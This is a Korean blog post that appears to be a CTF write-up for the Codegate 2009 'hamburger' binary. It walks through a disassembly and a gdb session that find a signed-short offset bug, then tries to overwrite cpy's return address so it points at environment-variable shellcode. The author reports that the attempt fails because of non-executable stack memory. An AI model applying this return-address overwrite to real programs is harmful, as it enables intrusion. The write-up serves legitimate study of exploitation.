OS/Linux

codegate 2009. hamburger

badcob 2009. 8. 14. 17:54

hamburger 를 실행해 보았다.



인자를 3개를 받는 다는 것을 알 수 있다. nm으로 심볼을 확인. cpy와 main이 보인다.



main 을 간략하게 분석해보았다.


 08048518 <main>:
 8048518: 8d 4c 24 04             lea    0x4(%esp),%ecx
 804851c: 83 e4 f0                 and    $0xfffffff0,%esp
 804851f: ff 71 fc                   pushl  -0x4(%ecx)
 8048522: 55                         push   %ebp
 8048523: 89 e5                     mov    %esp,%ebp
 8048525: 51                         push   %ecx
 8048526: 81 ec 24 80 00 00    sub    $0x8024,%esp
 804852c: 89 8d e4 7f ff ff        mov    %ecx,-0x801c(%ebp)
 8048532: 8d 95 f3 7f ff ff         lea    -0x800d(%ebp),%edx
 8048538: b8 ff 7f 00 00           mov    $0x7fff,%eax
 804853d: 89 44 24 08             mov    %eax,0x8(%esp)
 8048541: c7 44 24 04 00 00 00  movl   $0x0,0x4(%esp)
 8048548: 00
 8048549: 89 14 24              mov    %edx,(%esp)
 804854c: e8 6f fe ff ff          call   80483c0 <memset@plt>
 8048551: 8b 85 e4 7f ff ff     mov    -0x801c(%ebp),%eax   
 8048557: 83 38 04              cmpl   $0x4,(%eax)             argc 와 4를 cmp

 804855a: 74 27                  je      8048583 <main+0x6b>
 804855c: 8b 95 e4 7f ff ff     mov    -0x801c(%ebp),%edx
 8048562: 8b 42 04              mov    0x4(%edx),%eax
 8048565: 8b 00                  mov    (%eax),%eax
 8048567: 89 44 24 04           mov    %eax,0x4(%esp)
 804856b: c7 04 24 20 87 04 08  movl   $0x8048720,(%esp)      
 8048572: e8 89 fe ff ff        call   8048400 <printf@plt>        argc가 4가 아니면 usuage... 를 찍고 종료
 8048577: c7 04 24 00 00 00 00  movl   $0x0,(%esp)
 804857e: e8 ad fe ff ff        call   8048430 <exit@plt>

 8048583: 8b 8d e4 7f ff ff     mov    -0x801c(%ebp),%ecx
 8048589: 8b 41 04              mov    0x4(%ecx),%eax
 804858c: 83 c0 08              add    $0x8,%eax            
804858f: 8b 00                 mov    (%eax),%eax
 8048591: 89 04 24              mov    %eax,(%esp)
 8048594: e8 77 fe ff ff        call   8048410 <
atoi@plt>      argv[2]를 atoi
 8048599: 66 89 45 f2           mov    %ax,-0xe(%ebp)       리턴값을 ebp -0xe로

 804859d: 8b 95 e4 7f ff ff     mov    -0x801c(%ebp),%edx
 80485a3: 8b 42 04              mov    0x4(%edx),%eax
 80485a6: 83 c0 0c              add    $0xc,%eax
 80485a9: 8b 00                 mov    (%eax),%eax
 80485ab: 89 04 24              mov    %eax,(%esp)
 80485ae: e8 5d fe ff ff        call   8048410 <
atoi@plt>      argv[3]을 atoi
 80485b3: 89 45 f4              mov    %eax,-0xc(%ebp)      리턴값을 ebp-0xc로

 80485b6: 8b 8d e4 7f ff ff     mov    -0x801c(%ebp),%ecx
 80485bc: 8b 41 04              mov    0x4(%ecx),%eax
 80485bf: 83 c0 04              add    $0x4,%eax
 80485c2: 8b 00                 mov    (%eax),%eax
 80485c4: 89 04 24              mov    %eax,(%esp)
 80485c7: e8 24 fe ff ff        call   80483f0 <
strlen@plt>    strlen(argv[1]) 호출
 80485cc: 89 45 f8              mov    %eax,-0x8(%ebp)      리턴값을 ebp-0x8로

 80485cf: 81 7d f8 ff 7f 00 00  cmpl   $0x7fff,-0x8(%ebp)    0x7fff(32767)와 ebp-0x8을 비교
 80485d6: 7e 18                 jle    80485f0 <main+0xd8>
 80485d8: c7 04 24 3f 87 04 08  movl   $0x804873f,(%esp) 
 80485df: e8 3c fe ff ff        call   8048420 <puts@plt>       07fff 보다 크면 string is too long 을 찍고 종료
 80485e4: c7 04 24 00 00 00 00  movl   $0x0,(%esp)
 80485eb: e8 40 fe ff ff        call   8048430 <exit@plt>

 80485f0: 8b 55 f8              mov    -0x8(%ebp),%edx          
 80485f3: 8b 8d e4 7f ff ff     mov    -0x801c(%ebp),%ecx
 80485f9: 8b 41 04              mov    0x4(%ecx),%eax
 80485fc: 83 c0 04              add    $0x4,%eax                    
 80485ff: 8b 00                 mov    (%eax),%eax
 8048601: 89 54 24 08           mov    %edx,0x8(%esp)     strlen(argv[1]) 의 리턴값을 esp+8로 (size)
 8048605: 89 44 24 04           mov    %eax,0x4(%esp)      argv[1]을 esp+4로 (src)
 8048609: 8d 85 f3 7f ff ff     lea    -0x800d(%ebp),%eax    
 804860f: 89 04 24              mov    %eax,(%esp)             ebp-0x800d 를 esp로 (dest)
 8048612: e8 c9 fd ff ff        call   80483e0 <memcpy@plt>  call memcpy

 8048617: 0f b7 45 f2          movzwl -0xe(%ebp),%eax  
 804861b: 0f bf d0             movswl %ax,%edx              
 804861e: 8b 45 f4             mov    -0xc(%ebp),%eax    
 8048621: 89 44 24 08         mov    %eax,0x8(%esp)     atoi(argv[3])의 리턴값을 esp+8에
 8048625: 89 54 24 04         mov    %edx,0x4(%esp)     atoi(argv[2])의 리턴값을 esp+4에
 8048629: 8d 85 f3 7f ff ff     lea    -0x800d(%ebp),%eax   ebp-0x800d 를 esp로
 804862f: 89 04 24              mov    %eax,(%esp)
 8048632: e8 bd fe ff ff         call   80484f4 <cpy> 

 8048637: 8d 85 f3 7f ff ff     lea    -0x800d(%ebp),%eax
 804863d: 89 04 24              mov    %eax,(%esp)
 8048640: e8 db fd ff ff        call   8048420 <puts@plt>
 8048645: 81 c4 24 80 00 00     add    $0x8024,%esp
 804864b: 59                    pop    %ecx
 804864c: 5d                    pop    %ebp
 804864d: 8d 61 fc              lea    -0x4(%ecx),%esp
 8048650: c3                    ret 

cpy도 살펴보자.

 080484f4 <cpy>:
 80484f4: 55                    push   %ebp
 80484f5: 89 e5                 mov    %esp,%ebp
 80484f7: 83 ec 14              sub    $0x14,%esp
 80484fa: 8b 45 0c              mov    0xc(%ebp),%eax
 80484fd: 66 89 45 ec    mov    %ax,-0x14(%ebp)    ebp+0xc(2번째 인자)를 ebp-0x14에 저장
 8048501: 8b 55 08              mov    0x8(%ebp),%edx              ebp+0x8(첫번째 인자)를 edx에
 8048504: 0f bf 45 ec           movswl -0x14(%ebp),%eax         ebp-0x14를  eax에 넣고
 8048508: 8d 04 02        lea    (%edx,%eax,1),%eax   edx+eax 한 값을 eax로
 804850b: 89 45 fc               mov    %eax,-0x4(%ebp)      
 804850e: 8b 55 fc              mov    -0x4(%ebp),%edx
 8048511: 8b 45 10              mov    0x10(%ebp),%eax   ebp+0x10(3번째 인자)를 eax로
 8048514: 89 02                 mov    %eax,(%edx)          eax를 edx가 가리키는 번지로 옮긴다.
                                                                          즉 3번째 아규먼트를 edx+eax 한 주소에 집어넣는다.
 8048516: c9                    leave 
 8048517: c3                    ret


대략적인 흐름은 다음과 같다.

argv[1]으로 입력되는 string 의 크기는 32767을 넘을 수 없으며 ebp-800d 로 복사된다.
argv[2]인 offset 은 입력된 string의 index로 사용된다.
argv[3]인 value는 입력한 값을 스트링의 특정 인덱스에 집어넣는다.

여기서 offset과 value는 값을 검사하는 루틴이 없으므로 이 값들을 조작해서 shell을 획득하는 것이
가능하지
않을까 싶다.

gdb) b *0x08048516
Breakpoint 1 at 0x8048516
(gdb) r `perl -e 'print "A"x32767," ","4"," ","\x90"x4'`
Starting program: /home/juliaa/share/codegate/hamburger `perl -e 'print "A"x32767," ","4"," ","\x90"x4'`

cpy 함수의 leave 에 bp를 걸고 r `perl -e 'print "A"x32767," ","4"," ","\x90"x4'` 로 실행 시킨후
bp에 걸린 상태에서 스택을 살펴보았다.



Breakpoint 1, 0x08048516 in cpy ()
Current language:  auto; currently asm
(gdb) info $esp
Undefined info command: "$esp".  Try "help info".
(gdb) info reg
eax            0x0 0
ecx            0x0 0
edx            0xbfae0fbf -1079111745
ebx            0xb80bdff4 -1207181324
esp            0xbfae0f84 0xbfae0f84
ebp            0xbfae0f98 0xbfae0f98
esi            0x8048670 134514288
edi            0x8048440 134513728
eip            0x8048516 0x8048516 <cpy+34>
eflags         0x286 [ PF SF IF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51
(gdb) x/16x $esp
0xbfae0f84: 0xb80e0004 0x00007fff   0xb7fdcb70  0xbfae0fbb
0xbfae0f94: 0xbfae0fbf   0xbfae8fc8  0x08048637 0xbfae0fbb
0xbfae0fa4: 0x00000004 0x00000000 0xbfae8fe0  0x00000000
0xbfae0fb4: 0x00000000 0x41000000 0x00414141 0x41000000

붉은 색 부분이 ebp 이며 ebp+8 에 있는 첫번째 아규먼트의 주소 0xbfae0fbb 를 볼 수 있다.
ebp -0x14에는 argv[2]의 값이 옮겨진 0xb8e0004 가 있으며,
ebp -4 에는 0xbfae0fbb + 04 를 한 0xbfae0fbf 가 위치해 있다.


생각한대로 동작하는것을 알 수 있지만

80484fd: 66 89 45 ec           mov    %ax,-0x14(%ebp)

argv[2]의 값이 옮겨지는  부분에서 eax레지스터의 16비트만 사용하는 부분이 눈에 띄었다. short 형 변수로 받는게 아닌가 싶어서 argv[2]를 바꿔가며 입력해보았다.

----------------------------------------------------------------------------
32767      ebp+8     bffd9d1b      두값의 차이 +7FFFF
              ebp-4     bffe1d1a

32768       bfe13b4b       -8000
               bfe0bb4b

32769       bfa6afab       -7FFF
               bfa62fac

32770      bfbe391b       -7FFE
              bfbdb91d

.....

65534      bfdfb33b         -2
              bfdfb339

65535      bfe0133b         -1
              bfe0133a

65536       bfa57f9b          0
               bfa57f9b

65537       bfa76fbb          1
               bfa76fbc
---------------------------------------------------------------------


위와같이 32767 보다 큰 값을 입력 하였을때 음수로 바뀌는 것으로 미루어 signed short 형 변수를 사용하는 것으로 생각 할 수 있다.
(32비트 시스템에서 보통 signed short는 ~32768~32767 까지 나타낼 수 있다. )
이 것이 바로 이 프로그램의 취약점이 아닌가 싶다.

스택을 살펴보니 main 함수의 리턴어드레스는 argv[1]이 복사된 주소 ebp-800d 부터 7FFF 이상 떨어져  있으므로 접근할 수 없다.  가까운 cpy의 return address를 건드려보자. 

cpy함수의 코드를 다시 보면

 80484fd: 66 89 45 ec    mov   %ax,-0x14(%ebp)    
 8048501: 8b 55 08       mov    0x8(%ebp),%edx               
 8048504: 0f bf 45 ec    movswl -0x14(%ebp),%eax
         
 8048508: 8d 04 02        lea    (%edx,%eax,1),%eax
 804850b: 89 45 fc        mov    %eax,-0x4(%ebp)     


ebp+8 에 첫번째 인자, ebp-800d의 주소가 들어있으며 이 주소에 인덱스(argv[2])를 더한 주소를
ebp -4 에 넣는다. 

-----------------
ebp + 8    -   argv[1]
-----------------
ebp + 4    -   return address
-----------------
ebp 
-----------------
ebp -4        [argv[1] + argv[2]]
_________________

프로그램을 실행할때마다  스택의 주소는 바뀌지만 스택에서의 옵셋은 똑같다. 결국 ebp -4에 들어가는
 값을 return address와 같도록 만들 수 있다는 뜻이다.  실행값을 바꿔가면서 넣어본 결과  cpy의 return
address의 주소는 ebp+8 의 주소보다 0x1F 만큼 작다는 것을 확인할 수 있었다.
(65505를 입력했을때 ebp + 4의 값이  1111(0x00000457)로 바뀌어 있는 것을 볼 수 있다.)


 
이제 return address를 바꿀 수 있다. 3번째 인자의 값으로 환경변수에 띄운 쉘코드의 주소를 넣고
실행해봤더니 쉘이 실행되지 않았다..
문제가 무엇인지 디버깅을 해보았더니 세번째 입력값인 Value가
최대 7FFFFFFF 까지만 들어가기 때문이었다. 이것 역시 -1로 값을 넣어서  FFFFFFFF로 들어가서 원하는 값을
넣을 수 있었다.

최종적으로 아래와 같이 입력하였더니 segmentation fault 가 발생하였다.

./hamburger AAAA 65505 -1079758970

에러가 발생하는 이유는 eggshell을 띄운 환경변수의 주소를 eip가 정상적으로 가리키고 있지만
그 주소의 값을 실행시키지 못하는것 같았다. gdb에서 주소의 값을 보려고 해도 

Cannot access memory at address 0xbfxxxxxx  처럼 접근할 수 없다는 메세지가 나온다.

--------------------------------------------------------------------------
stack의 실행권한을 확인해 보았다. 실행권한이 빠져있다.




현재 프로세스의 stack의 실행권한은 아래와 같다. 모든권한이 주어져있다.



둘이 어떤 차이가 있고 무엇 때문에 실행이 안되는지 조만간 수정해서 다시 올리겠다..

anyway failed. :(